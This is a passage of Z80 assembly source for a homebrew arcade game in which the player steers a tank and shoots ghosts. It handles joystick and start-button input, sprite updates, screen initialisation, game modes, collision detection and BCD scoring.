inp_chk_up: equ $11 ;mask for looking at up (bits 4 and 0)
inp_chk_left: equ $22 ;mask for looking at left (bits 5 and 1)
inp_chk_right: equ $44 ;mask for looking at right (bits 6 and 2)
inp_chk_down: equ $88 ;mask for looking at down (bits 7 and 3)
;for start_state
inp_chk_p1st: equ $50 ;mask for looking at p1 start (bits 6 and 4)
inp_chk_p2st: equ $a0 ;mask for looking at p2 start (bits 7 and 5)
;comparison constants for player 1 and 2 start buttons
inp_p1_presd: equ $40 ;check for p1 start pressed bit 6 previous 1 -up bit 4 current down 0 )
inp_p2_presd: equ $80 ;check for p2 start pressed
inp_p1_relsd: equ $10 ;check for p1 start released bit 6 previous 0 -down bit 4 current up 1 )
inp_p2_relsd: equ $20 ;check for p2 start released
;comparison constants to check wether just pressed or released
inp_up_presd: equ $10 ;check for up pressed
inp_left_presd: equ $20 ;check for left pressed
inp_right_presd: equ $40 ;check for right pressed
inp_down_presd: equ $80 ;check for down pressed
inp_up_relsd: equ $01 ;check for up released
inp_left_relsd: equ $02 ;check for left released
inp_right_relsd: equ $04 ;check for right released
inp_down_relsd: equ $08 ;check for down released
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; manages processing of previous and current states, for pressed and released behaviour checking
; as well as allowing standard up and down checking
; gets new state and packs this into a byte with the previous state in the upper nibble
; uses a byte for joystick direction and a separate byte for the start buttons
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
input_manager:
;bit 0 - 3 up,left,right,down
ld a,(joystick_state) ;get joystick state
add a,a
add a,a
add a,a
add a,a ;shift lower nibble to upper nibble to move to previous state location
and $f0 ;clear lower nibble
ld b,a ;store temporarily
ld a,($5000) ;get IN0
and $0f ;clear upper nibble
or b ;combine current state with previous state PPPP CCCC
ld (joystick_state),a ;and store new previous and current state
;bit 5 is 1p start, bit 6 is 2pstart
;do start button states - PPCC xxxx upper hi bits of upper nibble contain previous state, low bits of upper nibble contain current state
ld a,(start_state) ;get start button state
add a,a
add a,a ;shift current two bits to previous position
and $c0 ;clear lower 2 bits of upper nibble - and the lower nibble
ld b,a ;store temporaily
ld a,($5040) ;get IN1
rra ;shift two bits to low bits of upper nibble
and $30 ;clear all bits other than 4 and 5
or b ;combine previous with current PP CC XXXX
ld (start_state),a ;store previous and new states
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; not being used just a little mess at flipping screen tiles and also flipping sprites to maintain
; there relative position and velocities
; check player 2 start button test this with up
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
flip_input:
ld a,(start_state) ;get state
and inp_chk_p2st ;examine p2 start
cp inp_p2_presd ;check for pressed
ret nz ;not held held 0 means pressed
ld a,(flip_screen) ;get flip screen status value
cpl ;flip bit
ld (flip_screen),a ;store again
ld (flip_screen_addr),a ;write to flip screen ram - this is a write only location so we need to maintain state ourselves
;Notes
; sprites have to be flipped manually
; this loop works through each sprite it needs to:
; flip the x and y flip bits
; negate (*-1) the x and y velocities
; adjust and compliment the x and y positions
flip_all_sprites:
ld de,$0d11 ;amount to subtract from positions 0d for x and $11 for y
ld c,$03 ;mask for toggling flip bits (bits 1 and 0)
ld ix,sprite_data ;load up sprite number data
ld b,6 ;need to do 6 sprites
.flip_bits: ld a,c ;load up flip mask for x and y flip bits
xor (ix + spr_num)
ld (ix + spr_num),a ;store flipped version
;addjust position
ld a,(ix + spr_x) ;get x position
sub d ;subtract offset
cpl ;flip bits
ld (ix + spr_x),a ;and store
ld a,(ix + spr_y) ;get y position
sub e ;subtract offset
cpl ;flip bits
ld (ix + spr_y),a ;and store
;adjust velocities
ld a,(ix + spr_vel_x) ;get x velocity
neg ;and negate
ld (ix + spr_vel_x),a ;and store
ld a,(ix + spr_vel_y) ;get y velocity
neg ;and negate
ld (ix + spr_vel_y),a ;and store
inc ix
inc ix ;skip two bytes to move to next sprite block
djnz .flip_bits ;perform loop until b is zero
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; copies sprite data from ram to the sprite registers
; places data from sprite variables into the sprite registers
; this happens once a frame, but for efficiency you could just manage this manually
; for each sprite using custom code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
set_sprite_data:
;first block of data is sprite number(+flip data) and pallete number
ld hl,sprite_data ;point to sprite data in ram
ld de,sprite_reg ;point to sprite registers
ld bc,12 ;do for all 6 sprites 2 bytes of data
ldir ;copy byte (hl) -> (de) inc de and hl, dec bc stop when bc is 0
;second block of data is the position data
ld de,spriteXY_reg ;point to xy position regsiters
ld bc,12 ;do for all 6 sprites 2 bytes of data
ldir ;copy byte (hl) -> (de) inc de and hl, dec bc stop when bc is 0
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; THIS IS THE ENTRY POINT FROM THE JUMP AT ADDRESS 0;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; sets up z80 interrupt mode and clears all RAM ;
; then initialises code to display screen ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
start: di ;disable ints on the CPU
ld sp,ram_top ;set up a new stack at the top of ram
im 1 ;set interrupt mode 1
ld a,RST_38H ;$ff is RST 38H instruction opcode
out (0),a ;set up the interrupt vector through port 0
xor a ;clear accumulator quickly 4 t-states rather than lda a,0 which is 7
ld (watchdog),a ;reset the watchdog
ld hl,user_ram_start ;addr to copy from
ld de,user_ram_start + 1 ;addr to copy to
ld bc,$3ef ;gonna loop this many times (size of RAM 1007 bytes)
ld (hl),a ;clear (hl), which then gets copied through to de
ldir ;copy from (hl) to (de) and increment hl and de, decrementing bc, keep doing until bc = 0
ld a,$0f ;tile number of empty tile
ld hl,tile_ram_start ;clear video ram
ld de,tile_ram_start + 1
ld bc,$3ff ;1k of tile ram
ld (hl),a ;clear (hl), which then gets copied through to de
ldir ;copy from hl to de, decrementing bc, keep doing until bc = 0
ld a,$1 ;pallete 1
ld hl,pallete_ram_start ;set all colour ram to palette 1
ld de,pallete_ram_start + 1
ld bc,$3ff ;1k of palette ram
ld (hl),a ;clear (hl), which then gets copied through to de
ldir ;copy from hl to de, decrementing bc, keep doing until bc = 0
xor a ;quickly clear accumulator
ld hl,sprite_reg ;clear sprite ram
ld b,16 ;16 bytes need clearing
clear_spr_ram: ld (hl),a ;store (zero)
inc hl ;move to next address
djnz clear_spr_ram ;decrement b and branch if not zero yet
ld hl,hardware_io_area ;clear hardware mapped memory from $5000 to $5007
ld b,8 ;do 8 bytes worth
clear_loop1: ld (hl),a ;store a at location
inc hl ;increment to next location
djnz clear_loop1 ;loop until b is zero
set_highscore:
ld hl,$100 ;set the 4 low bcd digits
ld (high_score),hl ;low bytes are here
ld h,0 ;clear h
ld (high_score + 2),hl ;set the upper 4 bcd digits to zero
xor a ;clear a
ld (watchdog),a ;reset the watchdog, to stop it barking
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; end of hardware initialisation
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; enable interrupts and start main loop
ld a,1
ld (irq_enable),a ;enable ints on the board by writing 1 to this address
ei ;enable ints on the CPU
jp start_title_mode ;setup title screen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; logic to be performed every frame - main logic of code
; needs to check to see what mode game is in first so it can run
; the correct game loop function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;some constants for mode setting
title_mode: equ $1
game_mode: equ $2
game_over: equ $4
mainloop:
ld a,(mode) ;get mode
cp title_mode ;is it title mode
jp z,title_logic ;yes
cp game_mode ;is it game mode
jp z,game_logic ;yes
cp game_over ;is it game over
jp z,game_over_logic ;yes
wait:
halt ;finished processing let's wait for vsync
jp mainloop ;perform logic again
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; sets up title screen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
start_title_mode:
ld a,title_mode ;pick title mode
ld (mode),a ;and store
;setup scrolling message
ld hl,top_mess ;store start position for top scrolling text
ld (msg_one_pos),hl ;address of first character
ld hl,tile_ram_top_vis_line1 ;address of top left row of top border
set 2,h ;force to pallete ram
ld a,grey ;colour pallete for white (pen 3)
ld b,$1c ;number of tiles to fill (28 entire columns)
call fill_border_area_row ;set colour for entire top row
;setup top changing message
ld hl,top_list ;point to first item in top list address
ld (msg_top_addr),hl
ld hl,tile_ram_top_vis_line2 ;address of top left row of top border
set 2,h ;force to pallete ram
ld a,yellow ;colour pallete for white (pen 3)
ld b,$1c ;number of tiles to fill (28 entire columns)
call fill_border_area_row ;set colour for entire top row
;setup bottom changing message
ld hl,bottom_list ;point to last item in the list for bottom text drawing routine so we cycle round straight away
ld (msg_bot_addr),hl ;store in lookup
ld hl,tile_ram_bot_vis_line1 ;address of top left row of top border
set 2,h ;force to pallete ram
ld a,yellow ;colour pallete for white (pen 3)
ld b,$1c ;number of tiles to fill (28 entire columns)
call fill_border_area_row ;set colour for entire top row
;clear any data on second to top line
ld de,msg_blank ;store text addr for instruction message
ld hl,tile_ram_top_vis_line2 ;vram address for second line of tiles
call borders_blit_text_only ;write text to border
;clear any data on second to last line
ld de,msg_blank ;store text addr for instruction message
ld hl,tile_ram_bot_vis_line1 ;vram address for first of line of tiles
call borders_blit_text_only ;write text to border
;set static instruction message on bottom line
ld de,msg_instruction ;store text addr for instruction message
ld hl,tile_ram_bot_vis_line2 ;vram address for first of bottom line of tiles
ld c,grey ;colour (white)
call borders_blit_text ;write text to border
ld hl,spr_initial_title_data ;address of title screen sprite data
call set_sprites ;do initial transfer of sprite data from rom to ram
ld a,blue ;blue pallete for screen
call fill_screen_area_colour ;fill entire screen with palette 16
ld hl,title_screen_column_data ;load hl with address of title screen data
ld a,$0e ;render with full block
call draw_pixel_map_to_screen ;call code to render title screen data
jp wait ;finished setup goto wait section
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; performs logic for title mode
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
title_logic:
ld a,(start_state) ;get state
and inp_chk_p1st ;examine p1 start
cp inp_p1_presd ;check for pressed
jp z,start_game ;0 means pressed so start game
call apply_sprites_velocities ;apply velocities to sprites
;display work
call scrolling_message ;top line of scrolling text
call process_top_message_text ;top line of changing text
call bot_display_upd ;update text display at bottom of screen
;call flash_pellets ;code to flash pellets
;call flash_get_ready ;flash get ready text
jp wait ;finished setup goto wait section
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; sets up game screen
; clears screen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
start_game:
ld a,game_mode ;pick game mode
ld (mode),a ;and store
ld a,grey ;blue pallete for screen
call fill_screen_area_colour ;fill entire screen with palette 16
ld hl,title_screen_column_data ;load hl with address of title screen data
ld a,$7f ;render with dippled block
call draw_pixel_map_to_screen ;call code to render title screen data
;clear old messages
ld de,msg_blank ;store text addr for instruction message
ld hl,tile_ram_top_vis_line2 ;vram address for 2nd line of tiles
call borders_blit_text_only ;write text to border
ld de,msg_blank ;store text addr for instruction message
ld hl,tile_ram_bot_vis_line1 ;vram address for first of bottom line of tiles
call borders_blit_text_only ;write text to border
ld de,msg_scoring ;store text addr for scoring message
ld hl,tile_ram_top_vis_line1 ;vram address for first of bottom line of tiles
ld c,grey ;colour (yellow)
call borders_blit_text ;write text to border
;show debug text
ld de,msg_debug ;store text addr for instruction message
ld hl,tile_ram_bot_vis_line1 ;vram address for first of bottom line of tiles
ld c,cyan ;colour (yellow)
call borders_blit_text ;write text to border
;set static instruction message on bottom line
ld de,msg_quit_game ;store text addr for instruction message
ld hl,tile_ram_bot_vis_line2 ;vram address for first of bottom line of tiles
ld c,yellow ;colour (yellow)
call borders_blit_text ;write text to border
ld hl,spr_initial_game_data ;addr of game sprite data
call set_sprites ;do initial transfer of sprite data from rom to ram
ld a,$60 ;set game counter to 60 (in bcd)
ld (game_time),a ;and store
ld hl,0 ;clear
ld (current_score),hl ;reset player score
ld (current_score + 2),hl ;reset player score
call reset_framenumber ;set frame number to 0 so we start at a whole second
jp wait ;finished setup goto wait section
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; performs logic for game mode
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
game_logic:
ld a,(start_state) ;get state
and inp_chk_p2st ;examine p2 start
cp inp_p2_presd ;check for pressed
jp z,start_title_mode ;0 means pressed so quit to title mode
call player_one_movement ;control player
call shoot ;allow player to shoot if bullet not in use
call apply_sprites_velocities ;apply velocities to sprites
call calc_tile_locations ;works out tile positions of sprites
call bullet_collision_detection ;check for collisions between bullet at other sprites
call ghost_collision_detection ;check to see if ghost have hit player
call time_tick ;sort out game time
;display work
call show_time ;displays timer
call show_score ;displays player and high score
call debug_output ;some debug values for player positions
jp wait ;finished setup goto wait section
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; checks to see if whole second has passed
; if so reduces time, if it's zero goes to game over
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
time_tick:
ld a,(frame_number) ;get frame number
and a ;see if it is zero
ret nz ;if not then second is not up yet
ld a,(game_time) ;get game time
dec a ;reduce by one
daa ;correct for bcd
ld (game_time),a ;store new time
ret nz ;if not zero then stop now
;fall through to game over setup
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; performs logic for game over mode
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;constants
game_over_top_blank: equ $42eb ;address of top blank
game_over_location: equ $42ec ;address to draw game over
game_over_bot_blank: equ $42ed ;address of bottom blank
start_game_over:
ld a,game_over ;set mode to game over
ld (mode),a ;and store
ld a,10 ;load up game over time for 10 seconds
ld (game_time),a ;and store, so score is displayed for 10 seconds
ld hl,time_location ;load up time display addr
ld a,$0f ;blank tile
ld (hl),a ;store tile over 1st digit
dec hl ;move to 2nd digit
ld (hl),a ;and overwrite
ld a,yellow ;set yellow pallette
call fill_screen_area_colour ;and fill screen
ld a,$8f ;full tile is checkerboard
call fill_screen_area_working_slow ;draw tile to screen
;hide all sprites
ld ix,sprite0 ;get first sprite
ld b,6 ;gonna do for all 6 sprites
.hide_loop:
call hide_sprite ;hide this sprite
inc ix ;move to next sprite
inc ix ;2 bytes along
djnz .hide_loop ;if b not zero loop
pop bc ;remove return address from stack as we are aborting the call
ld de,msg_game_over ;get text addr for game message
ld hl,game_over_location ;vram address for text
ld c,red ;colour red
call main_blit_text_and_colour ;write text to main game area
ld de,msg_gameover_blank ;get text addr for blank portion
ld hl,game_over_top_blank ;vram address for blank
call main_blit_text_only ;write blank to main game area
ld de,msg_gameover_blank ;get text addr for blank portion
ld hl,game_over_bot_blank ;vram address for blank
call main_blit_text_only ;write blank to main game area
jp wait ;wait for next game loop
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; performs logic for game over mode
; just a countdown timer so no other functions needed
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
game_over_logic:
ld a,(frame_number) ;get frame number
and a ;see if it is zero
jp nz,wait ;if not then second is not up yet
ld a,(game_time) ;get game time
dec a ;reduce by one
ld (game_time),a ;store new time
jp z,start_title_mode ;if zero then go back to title
jp wait ;finished setup goto wait section
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; works out which tile each sprite is in so tile based
; collision can be performed if required
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
calc_tile_locations:
ld ix,sprite0 ;load index with first sprite
ld b,6 ;work out for all 6 sprites
.truncate_next:
ld a,(ix + spr_x) ;get current x position of this sprite
rrca ;divide by 8 (integer - size of a tile in pixels)
rrca ;achieved through 3 rotate rights of a then mask top 3 bits
rrca
and $1f ;(this is instead of doing 3 right shifts 'srl a' as it's quicker to rotate then mask)
ld (ix + spr_tile_x),a ;store x tile
ld a,(ix + spr_y) ;get current y position of sprite
rrca ;divide by 8 (integer - size of a tile in pixels)
rrca ;achieved through 3 rotate rights of a then mask top 3 bits
rrca
and $1f ;(this is instead of doing 3 right shifts 'srl a' as it's quicker to rotate then mask)
ld (ix + spr_tile_y),a ;store y tile
inc ix ;move pointer to next sprite block (2 bytes)
inc ix
djnz .truncate_next ;decrement b and loop if b is not zero
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; displays time
; in sensible locations on 2nd row
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;constants
time_location: equ $43f1 ;address in vram to place time
show_time:
ld hl,time_location ;vram address to write to
ld a,(game_time) ;get game time
ld c,a ;byte needs to be in c
call show_hex ;use hex display as this is a bcd number (so it just works)
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; displays player score and high score
; in sensible locations on 2nd row
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;constants
hi_score_location: equ $43e9
show_score:
ld hl,tile_ram_top_vis_line2 ;output on start of top line
ld a,(current_score + 3) ;get player score (hi byte first - little endian)
ld c,a
call show_hex ;output hi byte of score
ld a,(current_score + 2) ;get player score (hi byte first - little endian)
ld c,a
call show_hex ;output hi byte of score
ld a,(current_score + 1) ;get player score (hi byte first - little endian)
ld c,a
call show_hex ;output hi byte of score
ld a,(current_score) ;get player score (hi byte first - little endian)
ld c,a
call show_hex ;output hi byte of score
ld hl,hi_score_location ;output on right hand side
ld a,(high_score + 3) ;get player score (hi byte first - little endian)
ld c,a
call show_hex ;output hi byte of score
ld a,(high_score + 2) ;get player score (hi byte first - little endian)
ld c,a
call show_hex ;output hi byte of score
ld a,(high_score + 1) ;get player score (hi byte first - little endian)
ld c,a
call show_hex ;output hi byte of score
ld a,(high_score) ;get player score (hi byte first - little endian)
ld c,a
call show_hex ;output hi byte of score
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; shows debug output
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;constants
debug_start_loc equ $4017
debug_output:
;player position
ld ix,sprite0 ;get base address of player sprite data
ld a,'X' ;load up ascii for X
ld hl,debug_start_loc ;output text from here
ld (hl),a ;output
dec hl ;move to next location
ld c,(ix + spr_x) ;get x value of player sprite
call show_hex ;output X value
ld a,$0f ;space tile
ld (hl),a ;output
dec hl ;move along to the right one tile
ld a,'Y' ;load up ascii for Y
ld (hl),a ;output
dec hl ;move along right one tile
ld c,(ix + spr_y) ;get y value of player sprite
call show_hex
ld a,$0f ;space tile
ld (hl),a ;output
dec hl ;move along to the right one tile
ld a,'T' ;load up ascii for T
ld (hl),a ;output
dec hl ;move along to the right one tile
ld a,'X' ;load up ascii for Y
ld (hl),a ;output
dec hl ;move along right one tile
ld c,(ix + spr_tile_x) ;get x tile value of player sprite
call show_hex
ld a,$0f ;space tile
ld (hl),a ;output
dec hl ;move along to the right one tile
ld a,'T' ;load up ascii for T
ld (hl),a ;output
dec hl ;move along to the right one tile
ld a,'Y' ;load up ascii for Y
ld (hl),a ;output
dec hl ;move along right one tile
ld c,(ix + spr_tile_y) ;get y tile value of player sprite
jp show_hex ;jump instead of call allows us to return from this function
;when the show_hex function ends saving 10 cycles
;end of test code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; looks for overlapping tiles between bullets and any ghosts
; only does this if the bullet is visible (not destroyed)
; this is not a very granular way of collision detecting
; could do region AABB overlapping for finer collision detection
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
bullet_collision_detection:
ld ix,sprite5 ;point at bullet sprite
call is_sprite_hidden ;determine if it's hidden
ret z ;don't do collision detection if it is
;check to see if bullet at left edge or bottom of screen and hide if it is
ld a,(ix + spr_tile_x) ;get bullet tile x position
cp $2 ;is tile x equal to or bigger than 2
jp p,.check_y ;no bigger than or equal to 2 so potentially on screen
.hide_bullet:
jp hide_sprite ;call hide sprite and let it return for us (so we don't need to do two ret instructions)
.check_y:
ld a,(ix + spr_y) ;get bullet y position
cp $7 ;has it reached 7
jr z,.hide_bullet ;yes so hide bullet and stop processing collisions - performs a pc relative jump
cp $6
jr z,.hide_bullet ;yes so hide bullet and stop processing collisions - performs a pc relative jump
;good to continue collision detection with the ghosts
push ix ;put ix into iy
pop iy ;by using stack
ld h,(iy + spr_tile_x) ;load tile x of bullet
ld l,(iy + spr_tile_y) ;load tile y of bullet
ld ix,sprite1 ;check the first of four ghosts
ld b,4 ;4 sprites to check
.test_loop:
call is_sprite_hidden ;see if visible
jp z,.next_sprite ;ignore if not
ld d,(ix + spr_tile_x) ;get x tile of sprite
ld a,h ;get x tile of bullet
cp d ;is sprite tile x the same
jp nz,.next_sprite ;if not same skip to next sprite
ld a,l ;get y tile of bullet
ld e,(ix + spr_tile_y) ;get y tile of sprite
cp e ;is the tile y the same (collision if it is)
jp nz,.next_sprite ;no so go to next sprite
ld a,15 ;place ghost at right edge of screen
ld (ix + spr_x),a ;location of sprite position
ld ix,sprite5 ;setup bullet sprite
call hide_sprite ;hide bullet
jp score_points ;increase points obtained (this will return for us also)
.next_sprite:
inc ix ;move to next sprite
inc ix ;2 bytes further along
djnz .test_loop ;keep going until b is zero
.stop_checking:
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; looks for overlapping tiles between ghosts and player
; if they are colliding then ghost is killed and player loses points
; can't go lower than 0 ?
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ghost_collision_detection:
ld ix,sprite5 ;point at bullet sprite
call is_sprite_hidden ;determine if it's hidden
ret z ;don't do collision detection if it is
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; increases points scored by player
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
score_points:
ld hl,current_score ;get start of score (lo byte first)
ld a,(hl) ;load into accumulator
add $90 ;add 90 pts - written in bcd
daa ;correct for bcd overflow
ld (hl),a ;store new value
ld b,3 ;need to see if the carry propogates through remaining three bcd bytes
ld c,0 ;gonna add 0 so quicker to load into register
.addloop:
inc hl ;move to next highest byte
ld a,(hl) ;load into accumulator
adc c ;add zero with carry taken into account
daa ;adjust flags to correct for bcd overflow
ld (hl),a ;store new bcd pair
djnz .addloop ;continue loop until b is zero
;now check high score to see if bigger start with high bytes
ld b,4
ld de,current_score + 4 ;get high byte first (point one too far as we dec straight away)
ld hl,high_score + 4 ;get high byte first (point one too far as we dec straight away)
.check_loop:
dec de ;move to next most significant bytes
dec hl ;for score and high score
ld a,(de) ;load score byte
cp (hl) ;compare with highscore byte (does subtract but doesn't affect a register)
daa ;correct for bcd numbers (in case we have 80 and above as these would appear as -ve numbers)
ret m ;not bigger so stop checking
jp nz,.new_high_score ;if numbers not the same then we have a new high score so stop checking
djnz .check_loop: ;do for all 4 bytes if necessary (until b = 0)
;if here score is better so copy score to highscore
.new_high_score:
ld hl,current_score ;set current score location in hl
ld de,high_score ;set highscore location in de and copy
ld bc,4 ;copy 4 bytes from (hl) to (de)
ldir
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; let's player shoot in direction tank is facing
; if bullet is already travelling then it is restarted (bit like Gorf)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
shoot:
ld ix,sprite5 ;specify bullet sprite
;call is_sprite_hidden ;check to see if sprite is visible
;ret nz ;don't even attempt to shoot if bullet still visible
ld a,(start_state) ;get state
and inp_chk_p1st ;examine p1 start
cp inp_p1_presd ;check for pressed
ret nz ;not held held 0 means pressed
ld iy,sprite0 ;get player sprite data
ld a,(iy + spr_x) ;get x position
ld (ix + spr_x),a ;and copy to bullet
ld a,(iy + spr_y) ;get y position
ld (ix + spr_y),a ;and copy to bullet
ld a,$27 * 4 ;set sprite for bullet multiply by 4 to place in top 6 bits
ld (ix + spr_num),a ;store in sprite data
ld a,yellow ;load up pacman colour
ld (ix + spr_pal),a ;and store in bullet pallete data
ld a,(iy + spr_vel_x) ;get x direction for player (from velocity that is not used)
add a ;quick mulitply by 2
ld (ix + spr_vel_x),a ;and store for bullet
add a
add a ;multiply again (by 4) and update bullet position to put on edge of sprite (rather than centre)
add a,(ix + spr_x) ;add offset to current x value
ld (ix + spr_x),a ;and store new position
ld a,(iy + spr_vel_y) ;get y direction for player (from velocity that is not used)
add a ;quick mulitply by 2
ld (ix + spr_vel_y),a ;and store for bullet
add a
add a ;multiply again (by 4) and update bullet position to put on edge of sprite (rather than centre)
add a,(ix + spr_y) ;add offset to current y value
ld (ix + spr_y),a ;and store new position
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; hides a sprite (by setting it's colour palette to 0)
; ix contains base address of sprite data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
hide_sprite:
xor a ;set a to zero
ld (ix + spr_pal), a ;store 0 palette for sprite
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; checks to see if a sprite is visible (it's colour is not 0)
; ix contains base address of sprite data
; sets status register, zero indicates sprite is hidden
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
is_sprite_hidden:
ld a,(ix + spr_pal) ;pick up palette
and a ;test for zero
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; checks to see if a sprite is visible (it's colour is not 0)
; ix contains base address of sprite data
; sets status register, non zero indicates sprite is visible
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
is_sprite_visible:
ld a,(ix + spr_pal) ;pick up pallete in use
cpl ;compliment
and a ;set flags
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; shows a sprite (by setting it's colour palette to a)
; ix contains base address of sprite data
; a contains colour pallete to use
;
; to be honest this is written for clarity, you'd do this inline in reality
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
show_sprite:
ld (ix + spr_pal), a ;store chosen palette for given sprite
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; picks up joystick moves
; sets appropriate sprite for horizontal and vertical movement
; and sets flip bits to show sprite correctly
; also alters sprite position by one pixel
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
player_one_movement:
ld ix,sprite0 ;point to sprite0 data block
ld a,(joystick_state) ;get joystick state
ld b,a ;and save in b
and inp_chk_left ;examine left
and a ;check for pressed
jp nz,.right ;not held held 0 means pressed
inc (ix + spr_x) ;increase x value
xor a ;clear vertical movement
ld (ix + spr_vel_y),a
inc a ;+1 for negative x velocity
ld (ix + spr_vel_x),a ;and store
ld a,$23*4 ;horizontal tank *4 to get sprite number in top 6 bits
ld (ix),a ;set horizontal tank sprite
res flipx,(ix) ;no flip x - set to 0 - clear
jp .upndown
.right: ld a,b ;get state again
and inp_chk_right ;examine right
and a ;check if pressed
jp nz,.upndown ;it's non zero so isn't pressed
dec (ix + spr_x)
xor a ;clear vertical movement
ld (ix + spr_vel_y),a
dec a ;-1 for positive x velocity
ld (ix + spr_vel_x),a ;and store
ld a,$23*4 ;horizontal tank *4 to get sprite number in top 6 bits
ld (ix),a ;set horizontal tank sprite
set flipx,(ix) ;flip x - set to 1
.upndown: ld a,b ;get state again
and inp_chk_up ;examine up
and a ;check if pressed
jp nz,.down ;it's non zero so isn't pressed
inc (ix + spr_y) ;move up
xor a ;clear horizontal movement
ld (ix + spr_vel_x),a
